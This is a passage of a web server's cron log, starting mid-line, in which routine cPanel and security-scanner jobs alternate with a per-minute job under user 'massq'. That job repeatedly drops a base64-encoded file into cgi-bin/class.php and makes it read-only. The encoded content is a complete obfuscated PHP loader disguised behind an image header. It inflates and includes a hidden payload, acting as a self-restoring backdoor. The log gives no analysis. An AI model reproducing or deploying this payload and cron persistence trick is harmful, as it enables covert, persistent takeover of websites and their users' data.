lDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:17:01 server CROND[25950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:17:01 server CROND[25951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:17:01 server CROND[25958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:18:01 server CROND[26325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:18:01 server CROND[26324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:18:01 server CROND[26326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:19:01 server CROND[26695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:19:01 server CROND[26696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:19:01 server CROND[26697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:20:01 server CROND[27078]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 14:20:01 server CROND[27081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:20:01 server CROND[27082]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:20:01 server CROND[27083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:20:01 server CROND[27084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:20:01 server CROND[27086]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:20:01 server CROND[27093]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:20:01 server CROND[27088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:20:01 server CROND[27092]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 14:21:01 server CROND[28067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:21:01 server CROND[28068]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:21:01 server CROND[28069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:22:01 server CROND[28537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:22:01 server CROND[28538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:22:01 server CROND[28539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:23:01 server CROND[28914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:23:01 server CROND[28913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:23:01 server CROND[28915]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:24:01 server CROND[29294]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:24:01 server CROND[29295]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:24:01 server CROND[29297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:25:01 server CROND[29681]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 14:25:01 server CROND[29683]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 30 14:25:01 server CROND[29686]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 14:25:01 server CROND[29684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 14:25:01 server CROND[29687]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 14:25:01 server CROND[29689]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:25:01 server CROND[29685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:25:01 server CROND[29690]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:26:01 server CROND[30571]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:26:01 server CROND[30572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:26:01 server CROND[30574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:27:01 server CROND[30943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:27:01 server CROND[30945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:27:01 server CROND[30946]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:27:01 server CROND[30944]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 14:28:01 server CROND[31505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:28:01 server CROND[31506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 14:28:01 server CROND[31507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 14:29:01 server CROND[31929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 14:29:01 server CROND[31930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
